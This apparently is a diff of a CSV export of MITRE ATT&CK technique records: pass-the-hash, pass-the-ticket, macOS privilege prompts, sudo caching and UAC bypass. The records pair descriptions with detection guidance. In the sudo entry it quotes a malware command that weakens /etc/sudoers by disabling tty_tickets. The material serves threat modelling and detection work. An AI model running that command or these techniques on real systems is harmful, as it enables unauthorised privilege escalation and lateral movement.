+Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, ""overpassing the hash"" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)","['defense-evasion', 'lateral-movement']",https://attack.mitre.org/techniques/T1550/003,mitre-attack,T1550.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vincent Le Toux', 'Ryan Becwar']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. -Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to ""Integrity check on decrypted field failed"" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']","['Vincent Le Toux', 'Ryan Becwar']",['System Access Controls'],,['Windows'],,CAPEC-645,https://capec.mitre.org/data/definitions/645.html,['Kerberos authentication enabled'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1550.002', 'url': 'https://attack.mitre.org/techniques/T1550/002'}, {'external_id': 'CAPEC-644', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/644.html'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,True,https://attack.mitre.org/techniques/T1550/002,mitre-attack,T1550.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Pass the Hash,"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. +Event ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to ""Integrity check on decrypted field failed"" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)",True,,['Windows'],,CAPEC-645,https://capec.mitre.org/data/definitions/645.html,['Kerberos authentication enabled'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/002', 'external_id': 'T1550.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/644.html', 'external_id': 'CAPEC-644'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/'}]",1.1,attack-pattern,attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T16:36:51.184Z,2021-08-31T19:55:02.702Z,Pass the Hash,"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. -Adversaries may also use stolen password hashes to ""overpass the hash."" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)",attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e,attack-pattern,"['defense-evasion', 'lateral-movement']",2021-03-15T21:04:33.228Z,2020-01-30T16:36:51.184Z,"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. +Adversaries may also use stolen password hashes to ""overpass the hash."" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)","['defense-evasion', 'lateral-movement']",https://attack.mitre.org/techniques/T1550/002,mitre-attack,T1550.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Blake Strom, Microsoft 365 Defender', 'Travis Smith, Tripwire']","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious. -Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)","['User Account: User Account Authentication', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request']","['Blake Strom, Microsoft 365 Defender', 'Travis Smith, Tripwire']",['System Access Controls'],,['Windows'],,CAPEC-644,https://capec.mitre.org/data/definitions/644.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1550', 'url': 'https://attack.mitre.org/techniques/T1550'}, {'source_name': 'NIST Authentication', 'url': 'https://csrc.nist.gov/glossary/term/authentication', 'description': 'NIST. (n.d.). Authentication. Retrieved January 30, 2020.'}, {'source_name': 'NIST MFA', 'url': 'https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication', 'description': 'NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.'}, {'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'source_name': 'TechNet Audit Policy'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,False,https://attack.mitre.org/techniques/T1550,mitre-attack,T1550,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Use Alternate Authentication Material,"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. +Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)",True,,['Windows'],,CAPEC-644,https://capec.mitre.org/data/definitions/644.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550', 'external_id': 'T1550'}, {'source_name': 'NIST Authentication', 'description': 'NIST. (n.d.). Authentication. Retrieved January 30, 2020.', 'url': 'https://csrc.nist.gov/glossary/term/authentication'}, {'source_name': 'NIST MFA', 'description': 'NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020.', 'url': 'https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication'}, {'source_name': 'TechNet Audit Policy', 'description': 'Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/dn487457.aspx'}]",1.2,attack-pattern,attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T16:18:36.873Z,2021-10-17T14:15:31.630Z,Use Alternate Authentication Material,"Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA) Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors. -",attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814,attack-pattern,"['defense-evasion', 'lateral-movement']",2021-04-14T18:09:47.427Z,2020-01-30T16:18:36.873Z,"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage', 'Application Log: Application Log Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Credential Request']",,['System Access Controls'],,"['Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1548.004', 'url': 'https://attack.mitre.org/techniques/T1548/004'}, {'source_name': 'AppleDocs AuthorizationExecuteWithPrivileges', 'url': 'https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg', 'description': 'Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.'}, {'source_name': ""Death by 1000 installers; it's all broken!"", 'url': 'https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8', 'description': ""Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.""}, {'source_name': 'Carbon Black Shlayer Feb 2019', 'url': 'https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/', 'description': 'Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.'}, {'source_name': 'OSX Coldroot RAT', 'url': 'https://objective-see.com/blog/blog_0x2A.html', 'description': 'Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1548/004,mitre-attack,T1548.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Elevated Execution with Prompt,"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. +","['defense-evasion', 'lateral-movement']",https://attack.mitre.org/techniques/T1550,mitre-attack,T1550,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage', 'Application Log: Application Log Content', 'User Account: User Account Authentication', 'Active Directory: Active Directory Credential Request']",['System Access Controls'],"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",False,,"['Windows', 'Office 365', 'SaaS', 'Google Workspace', 'IaaS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/004', 'external_id': 'T1548.004'}, {'source_name': 'AppleDocs AuthorizationExecuteWithPrivileges', 'description': 'Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.', 'url': 'https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg'}, {'source_name': ""Death by 1000 installers; it's all broken!"", 'description': ""Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."", 'url': 'https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8'}, {'source_name': 'Carbon Black Shlayer Feb 2019', 'description': 'Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.', 'url': 'https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/'}, {'source_name': 'OSX Coldroot RAT', 'description': 'Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.', 'url': 'https://objective-see.com/blog/blog_0x2A.html'}]",1.0,attack-pattern,attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:40:20.187Z,2020-03-27T12:04:37.823Z,Elevated Execution with Prompt,"Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. -Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0,attack-pattern,"['privilege-escalation', 'defense-evasion']",2020-03-27T12:04:37.823Z,2020-01-30T14:40:20.187Z,Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.,"['Process: OS API Execution', 'Process: Process Creation']","['Jimmy Astle, @AstleJimmy, Carbon Black', 'Erika Noerenberg, @gutterchurl, Carbon Black']",,"['Administrator', 'User']",['macOS'],,,,,,['root'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1548.003', 'url': 'https://attack.mitre.org/techniques/T1548/003'}, {'url': 'https://www.sudo.ws/', 'description': 'Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.', 'source_name': 'sudo man page 2018'}, {'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'source_name': 'OSX.Dok Malware'}, {'url': 'https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does', 'description': 'Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.', 'source_name': 'cybereason osx proton'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1548/003,mitre-attack,T1548.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Sudo and Sudo Caching,"Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. +Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)","['privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1548/004,mitre-attack,T1548.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jimmy Astle, @AstleJimmy, Carbon Black', 'Erika Noerenberg, @gutterchurl, Carbon Black']","['Process: OS API Execution', 'Process: Process Creation']",,Consider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.,True,"['Administrator', 'User']",['macOS'],,,,,,['root'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/003', 'external_id': 'T1548.003'}, {'source_name': 'sudo man page 2018', 'description': 'Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.', 'url': 'https://www.sudo.ws/'}, {'source_name': 'OSX.Dok Malware', 'description': 'Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/'}, {'source_name': 'cybereason osx proton', 'description': 'Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.', 'url': 'https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does'}]",1.0,attack-pattern,attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:34:44.992Z,2020-03-27T01:03:26.306Z,Sudo and Sudo Caching,"Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges. Within Linux and MacOS systems, sudo (sometimes referred to as ""superuser do"") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command ""allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.""(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again). @@ -1895,8 +2107,8 @@ The sudoers file, /etc/sudoers, describes which users can run which Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user. -In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.",attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0,attack-pattern,"['privilege-escalation', 'defense-evasion']",2020-03-27T01:03:26.306Z,2020-01-30T14:34:44.992Z,"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.","['Process: Process Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,,['User'],"['Linux', 'macOS']",,,,,,['root'],,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1548.002', 'url': 'https://attack.mitre.org/techniques/T1548/002'}, {'url': 'https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works', 'description': 'Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.', 'source_name': 'TechNet How UAC Works'}, {'url': 'https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx', 'description': 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.', 'source_name': 'TechNet Inside UAC'}, {'url': 'https://msdn.microsoft.com/en-us/library/ms679687.aspx', 'description': 'Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.', 'source_name': 'MSDN COM Elevation'}, {'url': 'http://www.pretentiousname.com/misc/win7_uac_whitelist2.html', 'description': 'Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.', 'source_name': 'Davidson Windows'}, {'url': 'https://github.com/hfiref0x/UACME', 'description': 'UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.', 'source_name': 'Github UACMe'}, {'url': 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', 'description': 'Nelson, M. (2016, August 15). ""Fileless"" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.', 'source_name': 'enigma0x3 Fileless UAC Bypass'}, {'url': 'https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware', 'description': 'Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.', 'source_name': 'Fortinet Fareit'}, {'url': 'http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass', 'description': 'Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.', 'source_name': 'SANS UAC Bypass'}, {'url': 'https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/', 'description': 'Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.', 'source_name': 'enigma0x3 sdclt app paths'}, {'url': 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/', 'description': 'Nelson, M. (2017, March 17). ""Fileless"" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.', 'source_name': 'enigma0x3 sdclt bypass'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",2.0,True,https://attack.mitre.org/techniques/T1548/002,mitre-attack,T1548.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Bypass User Account Control,"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) +In the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \'Defaults !tty_tickets\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.","['privilege-escalation', 'defense-evasion']",https://attack.mitre.org/techniques/T1548/003,mitre-attack,T1548.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Metadata', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.",True,['User'],"['Linux', 'macOS']",,,,,,['root'],,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1548/002', 'external_id': 'T1548.002'}, {'source_name': 'TechNet How UAC Works', 'description': 'Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.', 'url': 'https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works'}, {'source_name': 'TechNet Inside UAC', 'description': 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.', 'url': 'https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx'}, {'source_name': 'MSDN COM Elevation', 'description': 'Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.', 'url': 'https://msdn.microsoft.com/en-us/library/ms679687.aspx'}, {'source_name': 'Davidson Windows', 'description': 'Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.', 'url': 'http://www.pretentiousname.com/misc/win7_uac_whitelist2.html'}, {'source_name': 'Github UACMe', 'description': 'UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.', 'url': 'https://github.com/hfiref0x/UACME'}, {'source_name': 'enigma0x3 Fileless UAC Bypass', 'description': 'Nelson, M. (2016, August 15). ""Fileless"" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.', 'url': 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/'}, {'source_name': 'Fortinet Fareit', 'description': 'Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.', 'url': 'https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware'}, {'source_name': 'SANS UAC Bypass', 'description': 'Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.', 'url': 'http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass'}, {'source_name': 'enigma0x3 sdclt app paths', 'description': 'Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/'}, {'source_name': 'enigma0x3 sdclt bypass', 'description': 'Nelson, M. (2017, March 17). ""Fileless"" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.', 'url': 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'}]",2.0,attack-pattern,attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T14:24:34.977Z,2020-07-22T21:36:52.458Z,Bypass User Account Control,"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) @@ -1904,7 +2116,7 @@ Many methods have been discovered to bypass UAC. The 